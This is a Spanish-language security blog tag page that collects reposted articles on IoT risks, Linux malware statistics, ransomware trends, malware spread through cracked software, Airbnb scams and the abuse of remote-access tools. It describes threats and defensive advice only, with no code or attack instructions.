Tag seguridad informática

En este nuevo episodio del podcast de ESET Latinoamérica repasamos los desafíos de la seguridad y la privacidad entorno a los dispositivos inteligentes, también conocidos como Internet of Things (IoT).

Ya está disponible el quinto episodio de Conexión Segura, el podcast de ESET Latinoamérica. En esta oportunidad conversamos con Cecilia Pastorino, Security Researcher de ESET para conocer cuáles son los principales riesgos de seguridad y privacidad que giran en torno a los populares dispositivos IoT cuya adopción viene creciendo con el paso de los años, tanto a nivel hogareño como a nivel corporativo.

A lo largo del podcast Cecilia explica qué son los dispositivos inteligentes y qué abarca este concepto con ejemplos conocidos; la importancia clave de asegurar los routers y las redes Wi-Fi  y por qué; qué tipos de ataques pueden realizar a través de dispositivos inteligentes; qué pasa con la privacidad y los datos que recopilan las tecnologías IoT con algunos casos como ejemplo, y finalmente algunas recomendaciones a la hora de comprar y utilizar esta tecnología en el hogar o a nivel corporativo.

Fuente: www.welivesecurity.com

Linux impulsa muchas infraestructuras de nube en la actualidad. Sin embargo, no es inmune a las amenazas y los riesgos. Discutimos varios problemas de seguridad urgentes, incluido el malware y las vulnerabilidades que comprometen los sistemas Linux en la primera mitad de 2021

Muchos consideran a Linux como un sistema operativo único debido a su estabilidad, flexibilidad y naturaleza de código abierto. Su reputación estelar está respaldada por sus muchos logros notables en los últimos años. Por ejemplo, el 100% de las 500 supercomputadoras más importantes del mundo funcionan con Linux y el 50,5% de los 1.000 sitios web más importantes del mundo lo utilizan, según una encuesta de W3Techs. Nuestro artículo anterior compartió cómo Linux domina la nube, ejecutándose en el 90% de las cargas de trabajo de la nube pública en 2017. Linux también es compatible de manera única para cargas de trabajo en la nube de alto precio / rendimiento utilizando procesadores Advanced RISC Machines (ARM), como AWS Graviton . Y además de ejecutarse en el 96,3% del millón de servidores web principalesa nivel mundial, Linux también impulsa relojes inteligentes, trenes de alta velocidad e incluso los principales programas espaciales del mundo.

Linux es poderoso, universal y confiable, pero no está exento de fallas; al igual que otros sistemas operativos, sigue siendo susceptible a ataques. Este artículo analiza el estado de la seguridad de Linux en la primera mitad de 2021 y proporciona una mirada en profundidad al panorama de amenazas de Linux. Discutimos varios problemas de seguridad urgentes que afectan a Linux, que incluyen los tipos de malware que existen en el mundo de Linux, las vulnerabilidades que afectan al sistema operativo Linux y las diversas pilas de software que se ejecutan en él. Este artículo también cubrirá los riesgos de seguridad de las aplicaciones web y cómo los atacantes abusan de ellos para comprometer los sistemas Linux que se ejecutan en la nube.

Los datos presentados en este artículo provienen de Trend Micro TM Smart Protection Network ™ (SPN), o el lago de datos para todas las detecciones en todos los productos de Trend Micro. Además, también recopilamos datos de honeypots, sensores, telemetría anónima y otros servicios de backend. Estos datos representan la prevalencia en el mundo real del malware y la explotación de vulnerabilidades en las empresas, desde pequeñas organizaciones hasta grandes corporaciones en varias verticales.

La ubicuidad de Linux

Antes de profundizar en las amenazas específicas que afectan a los sistemas Linux, primero nos gustaría compartir la prevalencia de los distintos sabores o distribuciones de Linux y Unix de toda nuestra base de clientes empresariales. Después de todo, Linux es innegablemente ubicuo, especialmente en la nube, donde alimenta la mayoría de las infraestructuras. Los usuarios de Linux comprenden la mayoría de la base de clientes empresariales de Trend Micro Cloud One ™ con un 61%, mientras que los usuarios de Windows tienen un 39%.

Entre las implementaciones basadas en Linux / Unix, Red Hat ocupa una gran parte de los usuarios empresariales, seguido de AWS Linux y Ubuntu. Las empresas dependen de fuentes bien mantenidas de implementaciones de Linux para sus cargas de trabajo, y este gráfico refleja el soporte brindado por los proveedores. Por ejemplo, Red Hat Enterprise Linux (RHEL) y Amazon Linux AMI suelen ser los primeros en ofrecer parches a sus versiones compatibles. Si bien esta distribución de datos no debería sorprender a la mayoría de los lectores, vale la pena señalar que aproximadamente el 2.6% de estos son IBM AIX y Oracle Solaris. AIX y Oracle Solaris son conocidos por su estabilidad y solidez; las empresas ejecutan cargas de trabajo críticas en estas plataformas.

Sistemas Linux expuestos

Debido a que Linux tiene una gran huella, es probable que un porcentaje de sus administradores exponga sin saberlo los sistemas Linux y, en última instancia, los datos críticos. Los datos de Censys.io , un motor de búsqueda para dispositivos de Internet, muestran casi 14 millones de resultados al buscar dispositivos expuestos conectados a Internet y ejecutar cualquier tipo de sistema operativo Linux el 6 de julio de 2021:

Un vistazo al puerto 22 en Shell, un puerto comúnmente utilizado para Secure Shell Protocol (SSH) para máquinas basadas en Linux, reveló resultados aún más destacados: casi 19 millones de dispositivos conectados a Internet tienen este puerto expuesto:

Es imperativo que las organizaciones no dejen dichos puertos expuestos para evitar que los atacantes se establezcan en los sistemas Linux. En el pasado, hemos observado a atacantes abusando de estos puertos para lanzar actividades maliciosas; El año pasado, publicamos un artículo que describía cómo los atacantes usaban botnets para realizar ataques de fuerza bruta después de buscar puertos SSH y Telnet abiertos.

on el objetivo de difundir el conocimiento sobre las amenazas de malware basadas en Linux, utilizamos los datos de Trend Micro SPN para mostrar cuán desenfrenadas son las familias de malware en los sistemas Linux. Debido a que estábamos viendo millones de detecciones, decidimos examinar los datos a través de diferentes lentes. En un artículo que publicamos a principios de este año, clasificamos los datos en función de varios tipos de malware: ransomware, mineros de criptomonedas, rootkits, scripts maliciosos y shells web.

En esta ocasión, presentamos datos de SPN que muestran la prevalencia de Linux como sistema operativo y la omnipresencia de las diversas amenazas y vulnerabilidades de la plataforma. Casi el 40% de las detecciones provino de EE. UU., Seguido de Tailandia y Singapur con 19% y 14%, respectivamente. También es importante tener en cuenta que las detecciones surgieron de sistemas que ejecutan versiones al final de su vida útil de distribuciones de Linux. La mayoría (casi el 44%) de las detecciones fueron de las versiones de CentOS 7.4 a 7.9, seguidas por CloudLinux Server, que tuvo más del 40% de las detecciones, y Ubuntu con casi el 7%.

Malware para Linux: amenazas en cifras

De más de 13 millones de eventos que identificamos y marcamos desde nuestros sensores, identificamos las 10 principales familias de malware que luego consolidamos por sus tipos de amenazas. La Tabla 1 enumera los principales tipos de amenazas que afectan a los servidores Linux desde el 1 de enero de 2021 hasta el 30 de junio de 2021, según los datos de Trend Micro TM Deep Security TM y Trend Micro Cloud One TM – Workload Security . Tenga en cuenta que algunas familias de malware basadas en Windows figuran en la lista, lo que significa que los servidores Linux actúan como un servidor de almacenamiento o de comando y control (C&C) para el malware de Windows.

Una observación interesante aquí es la alta prevalencia de coinminers, de los cuales Coinminer.Linux.MALXMR.SMDSL64 y Coinminer.Linux.MALXMR.PUWELQ son las familias más prevalentes; y web shells, de las cuales las familias más detectadas son Backdoor.PHP.WEBSHELL.SBJKRW, Backdoor.PHP.WEBSHELL.SMMR y Backdoor.PHP.WEBSHELL.SMIC. Dado que la nube tiene una cantidad aparentemente infinita de potencia informática, los piratas informáticos tienen un motivo claro para robar recursos informáticos para ejecutar sus actividades de minería de criptomonedas. También es importante tener en cuenta que los mineros de criptomonedas han plagado los entornos de contenedores en los últimos años. También vimos el ransomware como una amenaza prevalente de Linux, y DoppelPaymer , una familia moderna de ransomware que utilizabatácticas de doble extorsión , es la familia de ransomware más prevalente según nuestros datos. En nuestro seguimiento del panorama del ransomware, también hemos visto recientemente otras variantes de ransomware que estaban dirigidas a sistemas Linux como RansomExx , DarkRadiation e incluso DarkSide.

Nuestros datos de SPN muestran las cuatro principales distribuciones de Linux en las que encontramos las principales familias de malware mencionadas anteriormente:

Vulnerabilidades en sistemas Linux

Nuestro artículo anterior discutió varias vulnerabilidades que afectan la plataforma Linux y la pila de software y las aplicaciones que se ejecutan en ella. Para definir aún más el estado de la seguridad de Linux para la primera mitad de 2021, analizamos los resultados de IPS (Intrusion Prevention System) de Trend Micro Cloud One – Workload Security y examinamos más de 50 millones de eventos, ignoramos los falsos positivos, eliminamos los datos de prueba y clasificamos en capas datos con inteligencia de amenazas disponible para sacar algunas conclusiones. Cabe señalar que aquí puede haber cierto grado de error debido a la naturaleza de los datos y la actividad de Internet.

Estos más de 50 millones de eventos que analizamos representan:

Más de 100.000 hosts únicos de Linux informaron los eventos. Los 20 principales tipos de Linux y Unix que informaron eventos en este conjunto de datos por volumen.

Aquí, analizamos los factores desencadenantes de las vulnerabilidades que se sabe que se explotan activamente o que tienen una prueba de concepto conocida. Según los datos de Trend Micro Cloud One, la siguiente lista presenta las 15 principales vulnerabilidades y exposiciones comunes (CVE) que se están explotando activamente en la naturaleza o que tienen pruebas de concepto existentes. Cabe señalar que Trend Micro Cloud One proporciona protección contra las 15 principales vulnerabilidades que se enumeran a continuación a través de sus funciones de parcheo virtual, protección de vulnerabilidades y bloqueo de exploits.

Tabla 1. Las 15 principales vulnerabilidades con exploits conocidos o pruebas de concepto

La Tabla 1 muestra las principales vulnerabilidades por volumen de factores desencadenantes. En total, vemos alrededor de 200 vulnerabilidades diferentes activadas en todos los ámbitos. Un punto digno de mención aquí es que, aunque se estima que se informaron 20.000 vulnerabilidades solo en 2020, muchas de las cuales afectan a Linux o la pila de aplicaciones de Linux, solo 200 de esas vulnerabilidades tienen exploits de conocimiento público y se observaron. Esforzarse por priorizar el parcheo de estas vulnerabilidades debe ser un enfoque integrado en las prácticas de seguridad de cualquier organización. Trend Micro utiliza un enfoque que se centra en las vulnerabilidades armadas para garantizar que los que tienen más probabilidades de ser explotados se protejan primero.

Fuente: www.somoslibres.org

Cómo el ransomware se ha convertido en una de las principales amenazas cibernéticas en la actualidad y cómo su organización puede evitar convertirse en la próxima víctima.

La comunidad de investigadores en seguridad ha estado advirtiendo desde hace mucho tiempo que el ransomware tiene el potencial de convertirse en la amenaza informática número uno para las empresas. Sin embargo, dado que las demandas de los rescates eran bajas y que la distribución del malware era bastante menos efectiva hace algunos unos años, muchas organizaciones no prestaron atención a esas predicciones y ahora están pagando grandes rescates.

En este sentido, con los innumerables reportes sobre ataques de ransomware en los medios y cientos de millones de ataques de fuerza bruta diarios —una puerta de entrada común para el ransomware—, permanecer indefenso ya no es una opción. En la reciente actualización que hicimos en nuestro popular whitepaper, Ransomware: A criminal art of malicious code, pressure and manipulation, explicamos qué fue lo que llevó a este preocupante aumento y a esta mayor severidad de los ataques de ransomware, y también qué deben hacer los defensores para mantener a sus organizaciones fuera del alcance de estos ataques.

Empecemos por los números. Entre enero de 2020 y junio de 2021, la protección contra ataques de fuerza bruta de ESET evitó más de 71 mil millones de ataques contra sistemas con el puerto al Protocolo de escritorio remoto (RDP) accesible de manera pública, lo que demuestra la popularidad de ese protocolo entre los ciberdelincuentes como superficie de ataque. Si bien el crecimiento más notable se produjo en la primera mitad de 2020, cuando se decretaron en el mundo las primeras cuarentenas debido a la pandemia, los picos diarios más altos se registraron en la primera mitad de 2021.

La comparación del primer semestre de 2020 con el primer semestre de 2021 muestra un enorme crecimiento del 612% de estos ataques que buscan adivinar las contraseñas y que apuntan al RDP. El número promedio diario de clientes únicos que reportan este tipo de ataques también ha aumentado significativamente, pasando de 80.000 en el primer semestre de 2020 a más de 160.000 (más del 100%) en el primer semestre de 2021.

Pero el RDP no es la única forma de distribución que utilizan las bandas de ransomware actualmente. Las campañas de malspam que distribuyen documentos poco fiables, macros maliciosas, hipervínculos dañinos y binarios de botnets no se fueron a ninguna parte y debemos sumarlas a los miles de millones de ataques de fuerza bruta con los que se bombardea a potenciales víctimas.

Además del RDP, el aumento de la actividad del ransomware también ha sido impulsado por el uso de la doble extorsión (o doxing), una técnica que comenzó a implementarse en 2019 por el ahora desaparecido ransomware Maze. Además de cifrar los datos de las víctimas, este infame grupo de ransomware también comenzó a robar la información más valiosa y sensible de las víctimas (en una etapa previa al cifrado) y amenazar a sus víctimas con publicarla a menos que se pagara el rescate.

Otras familias de ransomware, incluidas Sodinokibi (también conocido como REvil), Avaddon, DoppelPaymer y Ryuk, pronto siguieron su ejemplo y comenzaron a implementar esta efectiva modalidad extorsiva. Los nuevos métodos no solo apuntaron a los datos de las víctimas, sino también a sus sitios web, empleados, socios comerciales y clientes, lo que aumentó aún más la presión y, por lo tanto, la disposición a pagar.

Debido a la mayor efectividad que lograron a través de estas técnicas extorsivas y a la amplia gama de canales de distribución del malware, se estima que cientos de millones de dólares han terminado en las cuentas de estos ciberdelincuentes técnicamente capacitados. Impactantes montos demandados por los criminales, como fueron los $70 millones de dólares exigidos por REvil en el ataque de Kaseya o los $40 millones pagados por la compañía de seguros CNA, demuestran cómo ha escalado esta amenaza en 2021.

Las grandes sumas que viajan hacia las arcas de las bandas de ransomware también les permiten desarrollar su modelo de negocio de ransomware como servicio (RaaS, por sus siglas en inglés) e incorporar una gran cantidad de nuevos afiliados. Aliviados de tener que realizar el “trabajo sucio” de encontrar y extorsionar a las víctimas, algunos de los grupos más avanzados incluso comenzaron a adquirir vulnerabilidades zero-day y comprar credenciales robadas en mercados clandestinos, ampliando aún más el grupo de potenciales víctimas.

Pero estos actores de amenazas no se detienen ahí. El creciente número de incidentes de ransomware conectados directa o indirectamente con ataques de cadena de suministro representa otra tendencia preocupante que podría indicar la dirección en la que van estas bandas.

Ante este escenario, aprender de los diferentes incidentes que se reportan diariamente y de los análisis de malware se ha convertido en una necesidad para cualquier profesional de TI y seguridad. Desde principios de 2020 se ha demostrado una y otra vez que la implementación de políticas, la adecuada configuración del acceso remoto, y el uso de contraseñas seguras en combinación con la autenticación multifactor, pueden ser los elementos decisivos en la lucha contra el ransomware. Muchos de los incidentes mencionados en el whitepaper Ransomware: A criminal art of malicious code, pressure and manipulation también ponen en evidencia la importancia de instalar las actualizaciones de seguridad a tiempo, ya que las vulnerabilidades divulgadas y reparadas (pero sin parchear) se encuentran entre los vectores de interés de estas bandas.

Pero incluso una buena higiene cibernética y una correcta configuración no detendrán a todos los atacantes. Para contrarrestar a los actores de ransomware que utilizan vulnerabilidades zero-day, botnets, malspam y otras técnicas más avanzadas, se necesitan tecnologías de seguridad adicionales. Entre ellas una solución de seguridad para endpoint de múltiples capas, capaz de detectar y bloquear amenazas que lleguen a través del correo electrónico, ocultas detrás de un enlace o a través de RDP y otros protocolos de red; así como herramientas de respuesta y detección de endpoints para monitorear, identificar y aislar anomalías y signos de actividad maliciosa en el entorno de la organización.

Las nuevas tecnologías, si bien aportan beneficios a la sociedad, también constituyen un campo de oportunidades en constante expansión para los ciberdelincuentes. Con suerte, al explicar qué tan grave se ha vuelto una amenaza como el ransomware y qué se puede hacer para defenderse de ella, este whitepaper ayude a asegurar esos beneficios y a minimizar las pérdidas causadas por los malos actores.

Fuente: https://www.welivesecurity.com/

Repasamos algunos casos que se han conocido en el último tiempo de cracks de distinto tipo de software que han estado siendo utilizados para distribuir malware.

Ya hemos mencionado hace algunos años qué son los cracks y los riesgos que conllevan para la seguridad. A modo de repaso, se le llama crack informático a un parche que se aplica a un programa, alterando su estructura o las funcionalidades implementadas por sus desarrolladores, sin la necesaria autorización de estos. Usualmente, el objetivo de estas modificaciones es evadir un control o acción requerida por los desarrolladores para poder acceder a más funcionalidades o seguir utilizando este producto, como la necesidad de activar una licencia de pago.

Por su naturaleza, el crack es tan antiguo como los programas de pago: si bien la fecha de origen de este método es desconocido, las primeras protecciones implementadas para evitar el cracking de programas datan de la década de los 80, en dispositivos como la Commodore 64. Desde ese entonces, es posible encontrar cracks implementados de diferentes maneras para todo tipo de programas o aplicaciones: juegos, herramientas de diseño, software antivirus, entre muchas otras categorías de interés.

Vale la pena recordar que la distribución de programas crackeados, actividad que se conoce como piratería, es ilegal en casi todo el mundo ya que se violan los derechos de autor.

Existen distintas motivaciones detrás del cracking de una pieza de software particular, como son la económica y la ideológica. Sin embargo, permitir que un archivo desconocido adultere un programa o aplicación puede traer consecuencias no solo negativas, sino contraproducentes o peligrosas para nuestros dispositivos.

Históricamente, la descarga de programas o contenido adicional distribuidos por sitios con arquitectura P2P o streaming (por ejemplo, aquellos denominados Torrents) en un contexto de piratería fue y sigue siendo una de las principales vías de infección en campañas masivas en contraposición a las campañas dirigidas. Igualmente, esto no quiere decir que no pueda ocurrir.

Para tomar dimensión del alcance y el impacto de los cracks en la distribución de códigos maliciosos vale la pena recordar lo que ocurrió hace pocos meses atrás cuando un estudiante provocó un ataque del ransomware Ryuk a un instituto de investigación biomolecular en Europa por la instalación de un crack. El estudiante, que tenía acceso remoto a la red del instituto para trabajar, había descargado un crack de un software pago que resultó ser un troyano que, entre otras cosas, robaba contraseñas. Al parecer, los operadores detrás del troyano recolectaron las claves, las comercializaron en el mercado negro y terminaron en manos de cibercriminales que llevaron adelante el ataque de Ryuk.

A continuación, repasamos algunos casos de amenazas distribuidas a través de cracks en los últimos dos años (algunas de ellas activas) para ver con ejemplos reales el potencial daño que puede causar la instalación de cracks en nuestros equipos.

LoudMiner: un minero que sigue activo

A mediados de 2019 investigadores de ESET revelaban detalles de una campaña distribuida a través de cracks que incluían un software malicioso denominado LoudMiner. En este caso, los atacantes utilizan para distribuir el malware cracks de diversos plugins VST, que son programas para interpretar instrumentos musicales y efectos de audio de manera digital, como Kontakt, Massive, así como software para trabajar con audio, como Ableton Live, entre muchos otros más.

Distribuidos desde 2018 a través de al menos un sitio malicioso que alojaba más de 120 plugins, estos cracks de instrumentos VST y programas de audio no estaban alojados en el sitio original, sino en una totalidad de 29 servidores externos, presuntamente para evadir cualquier tipo de sospecha.

Este malware es un minero de criptomonedas, es decir, un código malicioso que utiliza los recursos físicos del equipo víctima para minar criptomonedas sin consentimiento del usuario infectado. Aquí es donde podemos ver que la elección de la “pantalla” que disfraza a la amenaza no es casual, ya qye el uso de VST generalmente demanda un nivel de procesamiento alto y, por lo tanto, el consumo de recursos del CPU es intenso y constante, similar a como puede ser el consumo de un minero de criptomonedas. Por esta razón, teniendo en cuenta que ambos escenarios consumen muchos recursos del procesador y esto provoca un rendimiento más lento del equipo, puede que la actividad del minero no llame especialmente la atención de la víctima. Algo similar ocurre con archivos de gran tamaño, los cuales son creados tanto por la amenaza como el programa real.

En este caso, el falso crack se descarga como una carpeta, conteniendo un programa de virtualización, un archivo de imagen del sistema operativo Linux y archivos adicionales que aseguran la persistencia de la amenaza. Una vez seguidas las instrucciones que el cibercriminal adjunta, se instala en el equipo tanto LoudMiner como el plugin real, y la amenaza genera persistencia modificando características propias del sistema operativo.

El minado comienza una vez finalizada la instalación, luego de que la amenaza ejecute la máquina virtual con Linux que viene adjunta en la carpeta descargada. Para ello, además, LoudMiner se comunica mediante varios scripts con su servidor de Comando & Control para cargar archivos de configuración o actualizarse de ser necesario.

Este malware contaba con al menos tres versiones para macOS y una para Windows, con funcionalidades similares en ambos sistemas.

Como vemos en el reciente hilo de Reddit que hace referencia a la descarga del popular VST Auto Tune, Loudminer sigue siendo distribuido en 2021 a través de cracks de software VST.

Ransomware Exorcist 2.0

Según reveló el investigador Nao_Sec vía Twitter, una amenaza de tipo ransomware llamada Exorcist 2.0 ha estado distribuyéndose durante 2020 detrás de un falso crack o activador gratuito de Windows 10 y Office 365. Al momento del hallazgo el crack se ofrecía en un sitio web que a su vez era anunciado en otros sitios de publicidad fraudulenta.

La descarga consiste en una imagen (ISO), un archivo .zip protegido con contraseña, y un archivo .txt que contiene el código de desbloqueo del archivo comprimido, que es donde supuestamente se aloja el crack. Esta protección es utilizada por los cibercriminales para evadir el bloqueo al momento de la descarga de cualquier solución de seguridad instalada en el dispositivo.

Siguiendo las instrucciones del atacante, la víctima ejecuta el supuesto instalador dentro de la carpeta protegida. Este desata a la amenaza, que realiza al pie de la letra los pasos de un ransomware clásico: cifra todo archivo que encuentre en el equipo infectado, le informa a la víctima del ataque y adjunta una nota donde se indican los pasos a seguir para realizar el pago.

Los cibercriminales proporcionan a la víctima un enlace a un sitio en la red TOR donde se le indica a la víctima el monto a pagar en Bitcoin y las instrucciones para realizarlo. Además, se ofrece la posibilidad de descifrar un archivo de prueba. Los pagos varían, según la cantidad de archivos infectados, entre los 250 y 10.000 dólares.

Crackonosh

Entre los casos que se conocieron en 2021 encontramos al denominado Crackonosh, un malware para minería de criptomonedas activo desde 2018 y que mina Monero. Este minero ha sido distribuido en grandes cantidades como supuestas copias de juegos crackeados en su versión gratuita: GTA V, NBA 2k19, The Sims, entre otros.

Esta descarga contiene un archivo ejecutable, responsable de ejecutar la amenaza y simular la instalación del juego. En este caso, el malware realiza modificaciones en los registros del sistema para asegurar persistencia, y obligar al equipo a iniciar en modo seguro en el próximo reinicio. Este paso no es casualidad: el modo seguro de Windows deshabilita, especialmente, cualquier solución antimalware o antivirus instalada en el dispositivo. Además de esto, busca y elimina cualquier programa o aplicación que tenga como desarrollador a compañías especializadas en productos de seguridad de la información. Finalmente, comienza el minado de Monero en el equipo utilizando XMRig, un conocido minero que es muy utilizado por los cibercriminales.

Crackonosh sigue en circulación en 2021, con una última versión conocida que data de finales del 2020. Se estima que lleva infectados a más de 200 mil usuarios a lo largo del mundo y que desde mediados de 2018 hasta ahora ha permitido a los operadores obtener cerca de 2 millones de dólares en monero.

Troyano sin nombre

En junio de este año investigadores descubrieron un troyano sin nombre que se distribuye a través cracks de software como Adobe Photoshop y videojuegos, que logró infectar a más de 3.2 millones de computadoras entre 2018 y 2020. El malware sin nombre logró robar más de 26 millones de credenciales de inicio de sesión y más de un millón de direcciones de correo únicas, entre otro tipo de información. El hallazgo fue producto de un error de los operadores detrás de este malware, que revelaron detalles sobre la ubicación de una base de datos que contenía 1.2 TB de información robada.

Este troyano personalizado tiene la capacidad de tomar fotografías del usuario si el dispositivo cuenta con una webcam.

Según NordVPN, que fueron los responsables del hallazgo, este tipo de troyano son adquiridos en foros y chats de la dark web por no más de 100 dólares.

Conclusión

Como podemos ver, los cracks realmente suponen un riesgo para la seguridad y, como hemos visto, siguen siendo utilizados por cibercriminales para distribuir malware. Por lo tanto, descargar e instalar cracks de videojuegos u otro tipo de software conlleva ciertos riesgos para la seguridad que deben ser considerados por los usuarios.

Fuente: https://www.welivesecurity.com/

Estas son algunas de las estrategias que utilizan los ciberdelincuentes para engañar a quienes buscan alojamiento a través de la popular plataforma Airbnb.

La mayoría de nosotros busca poder viajar nuevamente adhiriéndonos a las medidas preventivas que los países tienen implementadas con respecto a la pandemia del COVID-19. Y planificar las vacaciones implica en muchos casos buscar un alojamiento. Si bien hay quienes prefieren recurrir a agencias de viajes y/o reservar habitaciones de hotel, a otros les gusta experimentar las ciudades a través de alojamientos ubicados en vecindarios modernos y auténticos que se pueden reservar a través de servicios como Airbnb. Sin embargo, antes de apresurarte y reservar ese lugar que tanto te gustó, debes tener cuidado con las estafas que puedas encontrar en el camino.

Realizar el pago fuera de la plataforma de Airbnb  

Finalmente has encontrado el alojamiento de tus sueños para pasar unos días de vacaciones. Las fotos se ven bien, está cerca de los puntos de referencia que te gustaría visitar o ubicado en un vecindario que se ajusta a lo que buscas, y lo demás parece verse genial. Sin embargo, una vez que te conectas con el anfitrión, intentan persuadirte para que te comuniques y pagues por afuera de la plataforma de Airbnb. Eso debería servir como señal de alerta, ya que todo debe hacerse a través de la propia aplicación. De lo contrario, Airbnb no tiene obligación de reembolsar los cargos fraudulentos que fueron abonados por fuera de su plataforma. En algunos casos puntuales es posible que algunos cargos extra deban pagarse en persona, como tarifas adicionales del alojamiento, depósitos de seguridad (por ejemplo, en hoteles) o impuestos de ocupación locales, pero la mayoría de las veces pagará el precio total de la estadía durante el proceso de reserva en la página o app de Airbnb.

Incluso  Airbnb advierte sobre este tipo de estafas e insta a los clientes a informar de inmediato sobre cualquier anfitrión que solicite realizar pagos fuera del sitio. Entonces, en caso de que eso suceda, niégate a tratar con el anfitrión y comunicate con Airbnb para que pueda resolver el problema.

Ofertas de alojamientios que llegan a través de un enlace

La mayoría de las personas viaja por negocios o por placer. Y ahora viajar es más atractivo que nunca con la eliminación de ciertas restricciones por el COVID-19. Los estafadores son muy conscientes de esto. Por lo tanto, no sería una sorpresa que intenten engañar a las víctimas desprevenidas para robar sus credenciales de acceso e información personal mediante campañas de phishing en las que intentarán hacerse pasar por Airbnb. Es posible que recibas un correo electrónico, que aparenta ser legítimo, promocionando una gran oferta. Sin embargo, si el usuario hace clic en el enlace será redirigido a una página de inicio de sesión falsa y, una vez que ingrese sus credenciales, los estafadores se quedarán con ellas o podría descargar malware en su dispositivo.

Si bien ahora la mayoría de los servicios de correo electrónico son más que capaces que antes a la hora de filtrar este tipo de correos maliciosos, algunos pueden lograr superar las barreras. Por lo tanto, si alguna vez recibes un correo electrónico no solicitado, especialmente uno que contenga un enlace o archivo adjunto, no hagas clic en él. Para ver la URL completa, puedes colocar el cursor sobre el enlace (sin hacer clic) para ver a qué dirección redirige. Para mantenerse seguro, lo más recommendable es visitar el sitio web oficial directamente escribiendo la URL en la barra de direcciones del navegador.

Alojamientos que suenan demasiado buenos para ser verdad

Mientras recorres la plataforma de Airbnb en busca del lugar de alojamiento para tus próximas vacaciones (o para vivir temporalmente en algún lugar), es posible que te encuentres con ofertas que a primera vista podrían dejarte con la boca abierta. Por lo general, eso implica residencias de lujo, en ubicaciones exclusivas, y por precios ridículamente bajos: Imaginate una villa en la costa azúl de Francia por un par de cientos de dólares la noche. ¿Suena demasiado bueno para ser verdad? Bueno, seguramente lo sea. Lo más probable es que te hayas topado con una estafa y definitivamente deberías evitar reservar el lugar.

Sin embargo, si aún decides que quieres intentarlo, deberías tomar algunos recaudos. Lo primero que puedes hacer es observer la zona donde se encuentra el apartamento o la casa y analizar el precio promedio de los alquileres para ver si es inusualmente bajo. Otra opción útil es realizar una búsqueda inversa de las imágenes del alojamiento para ver qué aparece en Google. Es posible que las imágenes hayan sido robadas de otro sitio web, lo que significa que la oferta o propiedad probablemente sea falsa. Si se confirman tus sospechas, deberías informarlo de inmediato a Airbnb para que otras personas no caigan en el fraude.

Cuidado con las reseñas falsas

Cuando buscas un alojamiento de tu preferencia probablemente busques combinar el mejor precio, una buena ubicación y comodidad. Por lo general, eso implica una extensa búsqueda y la correspondiente investigación, lo cual incluye examinar las reseñas que han dejado inquilinos anteriores. Mientras buscas un lugar que tenga varios comentarios positivos o incuso excelentes, es importante que estés atento a cualquier cosa sospechosa. Por ejemplo, listados bastante nuevos que ya tienen una cantidad curiosamente grande de buenas críticas o si las reseñas se parecen demasiado entre sí. Estos podrían ser signos de que se está produciendo una estafa.

El mejor curso de acción sería buscar anfitriones que hayan pasado por el proceso de verificación de Airbnb. Es probable que los estafadores no utilicen documentos reales a la hora de registrarse si planean estafar a la gente y quedarse con su dinero. Otra cosa que podrías querer buscar son los anfitriones que hayan alcanzado el estado de Superhost, ya que cuentan con un historial brindando un servicio estelar y una baja tasa de cancelación.

En resumen 

La mayoría de nosotros piensa en vacaciones como sinónimo de descanso y relajación. Pero esto no quiere decir que debemos bajar la guardia, sino que temenos que ser cautelosos ante cualquier signo de estafa mientras buscamos esa ofertas increíble para disfrutar de unas vacaciones memorables. En resumen: mantén la guardia en alto cuando te cruces con una oferta espectacular, revisa detenidamente cada oferta y verifica los antecedents del alojamiento que tienes interés en reservar. Por ultimo, ten especial cuidado con los correos electrónicos no solicitados que incluyen enlaces a ofertas increíbles.  

Fuente: ww.welivesecurity.com

Este software que permite a un usuario acceder remotamente a otro equipo puede ser utilizado por atacantes como la puerta de entrada si no se asegura debidamente.

A principios de marzo, un atacante fue descubierto intentando modificar los componentes en un sistema para tratamiento del agua en una planta potabilizadora en Florida, Estados Unidos. Al parecer, el responsable detrás de este ataque logró acceder a una de las computadoras a través de la herramienta para el acceso remoto TeamViewer, que era utilizada por los operadores de esta planta que suministra agua potable  a unos 15.000 habitantes para resolver problemas de forma remota o con el propósito de monitorear los sistemas. De esta manera, intentó —sin éxito— modificar los niveles de una sustancia utilizada como agente limpiador del agua, lo que podría haber provocado el envenenamiento de la misma.

Si bien este incidente no pasó a mayores gracias a restricciones lógicas en los sistemas que realizan estas mediciones, este tipo de software vuelve a estar bajo el ojo del mundo de la seguridad.

TeamViewer es uno de los software para control remoto de dispositivos más populares. Al igual que otras herramientas de similares características que ofrecen el mismo servicio, TeamViewer permite que un usuario acceda remotamente a una computadora, tablet o celular e interactúe con el equipo como si fuera un usuario que está sentado en frente a la computadora o dispositivo. Para lograr tener acceso a la computadora remota, el usuario se conecta utilizando un identificador y una contraseña única que quien está físicamente frente al equipo debe proporcionar.

Esta herramienta resulta fundamentalmente útil para brindar asistencia remota, ya sea para asistir a algún familiar con pocos conocimientos informáticos, así como también dentro de una compañía para tareas de soporte técnico en épocas de teletrabajo. Otras aplicaciones con funcionalidades similares, pero menos utilizadas, son AnyDesk, Supremo o Zoho Assist.

Estas herramientas ofrecen una variedad de funcionalidades que van más allá del control remoto del equipo, como acceder al sistema de archivos, tomar control del teclado y hasta el polémico bloqueo de pantalla, en donde el usuario que tiene el control del equipo puede dejar la pantalla del equipo en negro a la vista de quien está en frente de él.

Como mencionamos anteriormente, esta no es la primera vez que aplicaciones de asistencia remota se ven involucradas en incidentes informáticos. En 2016, usuarios particulares y empresariales de TeamViewer reportaron infecciones de ransomware que tenían algo en común: los atacantes habían establecido el primer contacto a través de una herramienta de asistencia remota. Si bien la compañía alegó que ninguna vulnerabilidad técnica había sido parte de los contactos iniciales, los orígenes del incidente quedaron inconclusos.

Y es que una vez que el atacante logra el acceso a través de una herramienta como TeamViewer puede descargar malware en el equipo de la víctima. El acceso probablemente lo obtienen mediante el uso de credenciales de acceso débiles o que fueron expuestas en Internet, permitiéndoles iniciar sesión en la aplicación.

Además de ataques dirigidos, este tipo de herramientas se ven frecuentemente involucradas en las conocidas estafas telefónicas de soporte técnico o similares. En ellas, los atacantes se organizan en grupos con una estructura similar a un Call Center y realizan comunicaciones masivas con potenciales víctimas, ya sea inyectando anuncios fraudulentos en forma de ventanas emergentes que indican una infección en el equipo de la víctima y que incluyen un número de teléfono de un supuesto servicio técnico para solucionar el problema, o enviando correos electrónicos de phishing alegando un problema o compra de gran monto en supuestas cuentas de comercio electrónico de la víctima.

